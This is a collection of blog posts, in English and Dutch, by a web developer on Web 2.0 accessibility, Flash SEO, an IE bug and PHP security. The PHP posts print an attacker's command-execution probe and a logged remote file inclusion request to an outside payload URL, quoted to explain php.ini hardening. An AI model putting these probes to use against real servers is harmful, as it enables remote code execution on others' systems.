Are you doing Web2.0 the wrong way?

gapingvoid cartoonAccording to Jakob Nielsen, jumping on the web2.0-bandwagon often implies adding unneeded complexity instead of getting the basics right. I tend to agree; in our quest for sexier, more responsive web-sites and -applications, we seem to easily forget boring stuff such as accessibility and sometimes even usability. How much time did it take you to find your way around the new LinkedIn-UI? Have you tried to use a web2.0-site on a PDA or smartphone? With your keyboard instead of your mouse? Using a screenreader instead of your normal display? Or with JavaScript disabled (I installed the Firefox NoScript-extension to guard against XSS and other JS-attacks)? And if you have ever tried loading Gmail on a slow connection, you’ll surely have noticed that they automatically fall back to their more accessible “Web 1.0”-version?
Lately I’ve been reading a number of interesting articles on this subject and at work we’re carefully applying some Web2.0-techniques as well. Based on that, here are a few suggestions on how to build better websites and -applications:

  1. Don’t use GWT or Flex unless you’re building a complex desktop-style webapp and if you’re willing to invest in a second “basic html”-version as e.g. Gmail does. Let’s face it, most websites and even -applications do not have the level of complexity that warrants the use these RIA-frameworks.
  2. Develop your core functionality in “web1.0”-style, using semantic HTML (structure) and CSS (presentation) only and apply your usability- and accessibility-wisdom here.
  3. Sprinkle JavaScript (behavior) over that static foundation using an established JavaScript-framework to define event-handlers for objects and to modify the content of divs (but test if you can already write to the object, or you’ll get those ugly “operation aborted” errors in MSIE).  Give users a chance to opt out of this enhanced version, even if they do have JavaScript enabled. With this progressive enhancement (a.k.a. hijax) you add extra functionality for those people who can make use of it, without punishing users who can’t because of physical or technological impairments. Read more about progressive enhancement on London-based Christian Heilmann’s site.
  4. Only load your JavaScript-functions when you really need them, creating a kind of stub for methods of an object and only load the real method when it is needed. This technique is dubbed “lazy loading” and can help making your pages load & initialize much faster. To learn more about the concept of “lazy loading” on digital-web.com.
  5. Use <noscript>-tags if you absolutely have to use JavaScript without having a meaningful object already in place in your static version. Explain what is going on and provide a link to a normal page where the same information or functionality can be found.

Off course these tips won’t guarantee you a perfectly usable and accessible website or -application, but when done right, this will help to get 80% of the way. A good functional analysis and thorough testing, both keeping usability and accessibility in mind, will push you towards 99,99%.

Don’t let Google fool you; tame your Flash!

As I wrote some time ago, Google indeed does index Flash. Great? Well, maybe not: you might even lose valuable site visits this way! This is because Google does not direct users to the page on your site that contains the Flash (as it does for image search results), but to the standalone SWF-file. That means that people doing a normal search in Google, will in some circumstances get high-ranking links straight to your Flash-files instead of to your website and that these prospects will not be drawn into your website’s sales funnel at all. So much for SEO.
Solutions? Well, you could refrain from using Flash all together, there’s too much of that stuff around anyhow. Or you could prohibit googlebot (and others) from indexing swf-files by specifying this in your robots.txt-file.
These are both great remedies, but somehow I think not everyone will agree. So what if we could perform some ActionScript-magic to make a Flash-file force itself in its correct context? Although I am not a (Flash-)developer by any account, I hacked together a small demo (in ActionScript 2) to show how that could be done.

And indeed, if you point your browser to the standalone swf-file, you’ll see you are redirected to this page. How this is accomplished? Quite easily actually;

  1. add a flashvar (e.g. “embedded=true”) to the object/embed tags in the html
  2. check for the value of that flashvar in the first frame of your movie:
    var embedTrue=_root.embedded;
    if (embedTrue=="true") {
         // all normal flashyness goes here
         stop();
    }
    else {
         gotoAndPlay(2);
         stop();
    }
  3. and in frame 2 we do the redirect to the correct url:
    onEnterFrame = function() {
    // weird, stupid test to avoid this from being executed more than once
    if (!runOnce) {
    		var targetUrl = "http://blog.futtta.be/2008/05/06/";
    		geturl(targetUrl);
    		runOnce="1";
    	}
    }
    stop();

I’m sure the code stinks and it indeed is only actionscript2 and not 3, but maybe someone out there can build something usefull out of this general idea. And if not, I’ve had fun learning some (very) basic actionscripting. Now off to “Add/remove software” to get rid of that hog of an IDE! 🙂

MSIE: operation aborted

operation abortedOp één of andere site, die misschien wel en misschien niet met mijn werkgever te maken heeft, zagen we vreemde dingen in MS Internet Explorer; tijdens het laden van sommige pagina’s kregen we een lelijke “Operation aborted” error te zien.
De oorzaak: terwijl MSIE (via een trage bedrijfsproxy) de DOM van een zwaardere pagina nog aan het inladen was, probeerde een javascriptje (dat de .update functie van Prototype aanroept) al een DIV te updaten. En blijkbaar slaat Internet Explorer (versie 6 en 7) in dat geval een beetje aan het stotteren.
De oplossing: het uitvoeren van de element.update uitstellen tot de DOM geladen is. MSIE (6 en 7) hebben daar blijkbaar geen kant-en-klare functie voor, maar op het internet vind je daar wel oplossingen voor.
Zo, nu dat achter de rug is, ga ik een huis kopen! 🙂

Over foute (web-)applicaties

Omdat Jakob Nielsen een slimme mens is, omdat hij een nieuw artikel geschreven heeft over web-applicatie design en omdat gratis kwalitatieve content alle aandacht verdient; “Top-10 Application-Design Mistakes“. Wat die tien design-fouten dan wel zijn moet ge zelf maar lezen, maar de bonus wil ik U hier niet onthouden:

“It’s almost always wrong to have a Reset button on a Web form. The reset button clears the user’s entire input and returns the form to its pristine state. Users would want that only if they’re repeatedly completing the same form with completely different data, which almost never happens on websites. Making it easy for users to destroy their work in a single click violates one of the most basic usability principles, which is to respect and protect the user’s work at almost any cost.”

Dat de man gelijk heeft!

Van Java naar (Ruby on) Rails of Grails?

Het is opvallend dat een aantal developers op planet grep en geekdinner persoonlijk en daarna ook professioneel de switch van Java- naar Rails-development maken. Een bevriende java-developer met voorliefde voor Spring en Hibernate, is dan weer bijzonder enthousiast over Groovy en Grails. Java framework speacher/ blogger Matt Raible twijfelt blijkbaar nog.
Op welke basis kiezen jullie voor Rails of Grails? Is het niet logischer om van Java direct naar Grails te gaan, zeker voor die grote bedrijven die al Java-geörienteerd zijn? Of is Rails, gezien de historische voorsprong, gewoon veel vollediger?

Nog over web usability

web app usability posterGewoon een paar links naar interessante usability-related dingen die ik de laatste dagen feed-gewijs las:

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?
Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …
Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).
Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.
Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.